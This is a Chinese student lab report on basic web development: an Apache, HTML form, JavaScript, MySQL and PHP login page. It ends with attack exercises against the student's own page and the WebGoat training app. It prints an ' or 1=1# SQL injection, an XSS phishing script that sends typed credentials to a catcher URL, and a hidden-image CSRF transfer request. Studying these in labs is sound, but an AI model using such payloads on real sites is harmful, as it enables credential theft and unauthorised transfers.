• 20181328 Exp8 Web综合


    一、实践内容

    • Web前端HTML,能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
    • Web前端javascipt,理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。
    • Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
    • Web后端:编写PHP网页,连接数据库,进行用户认证
    • 最简单的SQL注入,XSS攻击测试
    • 功能描述:用户能登陆,登陆用户名密码保存在数据库中,登陆成功显示欢迎页面。

    二、实践原理

    • WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源。
    • Internet上供外界访问的Web资源分为:
      • 静态web资源(如html 页面):指web页面中供人们浏览的数据始终是不变。
      • 动态web资源:指web页面中供人们浏览的数据是由程序产生的,不同时间点访问web页面看到的内容各不相同。
    • 静态web资源开发技术
      • Html
    • 常用动态web资源开发技术:
      • JSP/Servlet、ASP、PHP等ruby  python
      • 在Java中,动态web资源开发技术统称为Javaweb。

    三、基础问题回答

    • 什么是表单

    表单是一个包含表单元素的区域,表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素,表单在网页中主要负责数据采集功能,一个表单有三个基本组成部分:表单标签、表单域、表单按钮。

    • 浏览器可以解析运行什么语言

    支持HTML(超文本标记语言)、XML(可扩展标记语言)以及Python、PHP、JavaScript、ASP等众多脚本语言。

    • WebServer支持哪些动态语言

    JavaScript、ASP、PHP、Ruby等脚本语言,ASP基于IIS WEB SERVER,是微软的服务器端脚本技术,PHP基于APACHE WEB SERVER,与ASP有几分类似,都是一种在服务器端执行的嵌入HTML文档的脚本语言。

    • 防范注入攻击的方法有哪些 

    1、 普通用户与系统管理员用户的权限要有严格的区分。
    2、 强迫使用参数化语句。
    3、 加强对用户输入的验证。
    4、 多多使用SQL Server数据库自带的安全参数。
    5、 多层环境如何防治SQL注入式攻击?
    6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

    四、实验步骤

    实验一:Web前端HTML

    • 安装及启动Apache
    sudo apt-get install apache2//命令进行安装
    service apache2 start //启动Apache

    •  测试是否连接成功(如下图所示,就是成功)
    netstat -aptn//查看端口信息,如果80端口被Apache2监听,则启动成功。

     

    访问127.0.0.1 //出现下图所示就是成功

     

    •  编写一个含有表单的HTML,理解HTML,理解表单,理解GET与POST方法

    • 输入 vi /var/www/html/1328.html 进行代码编译。代码如下(使用post方法)
    <html>
    <body>
    <h1>用户登录</h1> 
    <meta charset="utf-8">
    <form action="/demo/html/action_page.php" target="_blank" method="POST">
      <label for="fname">账号:</label><br>
      <input type="text" id="username" name="username" ><br>
      <label for="lname">密码:</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="登录">
    </form>
    </body>
    </html>
    • 浏览器访问网址 127.0.0.1/1328.html

    •  在post下点击登录

     

    • 更换代码为GET

    •  再次访问127.0.0.1/1328.html,并点击登录按钮(出现刚刚输入的用户名和密码)

    实验二:Web前端javascipt

    • 在原有网页的基础上,可以添加一段JavaScript代码,以完成对用户是否填写邮箱和密码的判断。修改后的代码如下:
    <html>
    <head>
    <title>CryptoTeam</title>
    <!-- Meta tag Keywords -->
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <!-- Meta tag Keywords -->
    </head>
    <body>
    <!-- main -->
    <!--//header-->
        <h2>Login Quick</h2>
            <form action="login" method="post" name="form_login">
                <input placeholder="E-mail" name="Email" class="user" type="email" onfocus="if (this.value=='Your email') this.value='';" />
                <br>
                </br>
                <input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
                <br>
                </br>
                <input type="submit" value="Login" onClick="return validateLogin()"/>
            </form>
    <!--//main-->
    <script language="javascript">  
        function validateLogin(){  
            var sUserName = document.form_login.Email.value ;  
            var sPassword = document.form_login.Password.value ;    
            if ((sUserName =="") || (sUserName=="Your email")){  
            alert("user email!");  
            return false ;  
            }  
            if ((sPassword =="") || (sPassword=="Your password")){  
            alert("password!");  
            return false ;  
            }  
        }   
    </script>  
    </body>
    </html>
    • 编辑新的代码并验证

    • 添加新功能,提示邮箱地址不正确

    实验三:Web后端:MySQL基础

    • 输入 service mysql start //开启MySQL服务
    • 输入 mysql -u root -p //使用root权限进入,默认的密码是:password

    • 依次输入下述代码:
    use mysql; //选择使用mysql这个数据库
    select user, password, host from user; //查看当前用户信息
    create database zwq; //建立数据库
    show databases; //查看存在的数据库
    use zwq; //使用我们创建的数据库
    create table login (username VARCHAR(20),password VARCHAR(20));
    //建立数据库表,并设置字段基本信息
    show tables; //查看表信息
    insert into login values('zwq@123.com','1328');
    grant select,insert,update,delete on zwq.* to zhuyuexin@localhost identified by "1328";
    //将对某数据库的所有表的select,insert,update,delete权限授予IP登录的用户

    • 上述实验完成了创建用户、授予权限的步骤,我们创建的用户是“zwq1328”,密码是“1328”
    • 下面进行验证

    实验四:Web后端:编写PHP网页

    •  将之前的zwqlong.html中的中的action设为login.php

    •  编写login.php的后台文件。(注意这里要写上之前创建数据库的名字和密码)

    •  登录127.0.0.1/zwqlong.html查看。

    • 正确的密码输入登录

    • 错误的密码输入登录

    实验五:最简单的SQL注入,XSS攻击测试

    sql注入:

    • 在用户名输入框输入 ' or 1=1# ,密码任意输入,可登陆成功(这里注意要把 login_test.html 中用户名input标签中的 type 字段从 email 更改为 text ,否则必须以邮箱的格式填写用户名)

    • 原理:输入的用户名和我们的代码中select语句组合起来变成了 select * from users where username='' or 1=1#' and password=''  相当于注释符,会把后面的内容都注释掉,而1=1是永真式 ,所以这个条件永远成立,所以不管密码是否输入正确,都能够成功登陆。
    • 验证:

     

    XSS攻击:

    • 将一张图片放在 /var/www/html 目录下并命名为 zwq.jpg ,在用户名输入框输入 <img src="zwq.jpg" />  ,随便输入密码,就能够读取图片

    实验六:Webgoat的SQL注入、XSS、CSRF攻击

    • webGoat需要Java SE8的支持,版本不匹配那么浏览器的菜单栏中会缺失很多内容
      下载 jdk-8u251-linux-x64.tar.gz  ,并参考链接进行环境配置

    • 下载 webgoat-container-7.0.1-war-exec.jar 文件
    • 在命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat ,等待一小会后出现如下提示则运行成功。

    • 在浏览器中输入 http://localhost:8080/WebGoat 进入WebGoat登录界面,可使用页面下端任意一个账号密码进行登录

    SQL注入攻击

    • 在菜单栏中选择 Injection Flaws ,展开页面中选择 Numeric SQL Injection
      右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1

    •  点击GO!

    XSS攻击

    • 在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Phishing with XSS
    • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
      编写一个带用户名和密码输入框的表格
      将下面这段代码输入到 "Search:" 输入框中,点击 search 结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 "This feature requires account login:" 和用户名、密码输入框。
    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>
    </div></div>
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>

    • 如果真的在登录框中输入用户名、密码,eg:20181234 zyx1812,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。

    CSRF攻击

    • 在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Cross Site Request Forgery (CSRF)
    • 在title中输入任何参数,message框中输入
    <img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
    • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
      这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
      宽高设置成1像素的目的是隐藏该图片
      提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

    五、实验心得及问题

    问题:写login.php的时候一直不成功。

    解决办法:下述信息要按照自己的信息写,不要傻傻的抄写。

    心得体会:本实验是在Linux下实现的一个简单的前端+后台编程,不使用java语言。一个简单的日志函数。可以在不设置Apache环境或数据库的情况下使用它。而且,MySQL的使用非常简单和直观。这是一个学习网络安全的好平台。我在理解和掌握HTML的同时。这个实验使用了一种新的PHP语言。我们对PHP有了基本的了解。这个实验对我们的专业很重要。我要多学习。通过实验说明了知识体系,并将XSS场景注入到SQL攻击中。CSRF延伸至现场。我觉得网上的安全内容很有趣。我有机会了解更多。

  • 相关阅读:
    2021/9/20 开始排序算法
    快速排序(自己版本)
    2021/9/17(栈实现+中后缀表达式求值)
    2021/9/18+19(中缀转后缀 + 递归 迷宫 + 八皇后)
    20212021/9/13 稀疏数组
    2021/9/12 线性表之ArrayList
    开发环境重整
    Nginx入门
    《财富的帝国》读书笔记
    Linux入门
  • 原文地址:https://www.cnblogs.com/1005zwq/p/14809624.html
Copyright © 2020-2023  润新知